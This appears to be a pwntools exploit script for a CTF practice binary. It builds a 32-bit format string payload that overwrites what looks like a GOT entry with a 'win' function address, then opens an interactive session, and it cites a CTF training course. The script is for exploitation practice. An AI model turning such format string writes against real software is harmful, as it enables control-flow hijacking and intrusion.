# +------------------------------------------------+
# | Atack: Format String Winfunc                   |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *

import sf

target = process("./chall-test_ractf-nra")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

fs = sf.WriteFmtStr(
		arch = 32,
		value = 0x8049245,
		address = 0x804c018,
		offset = 0x4,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = 0,
		address_base = 0)
payload = fs.generate_fmt_str()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Slipknot                               |
# +------------------------------------------------+
# | Song: Spit it Out                              |
# +------------------------------------------------+
# | SPIT IT OUT!                                   |
# +------------------------------------------------+

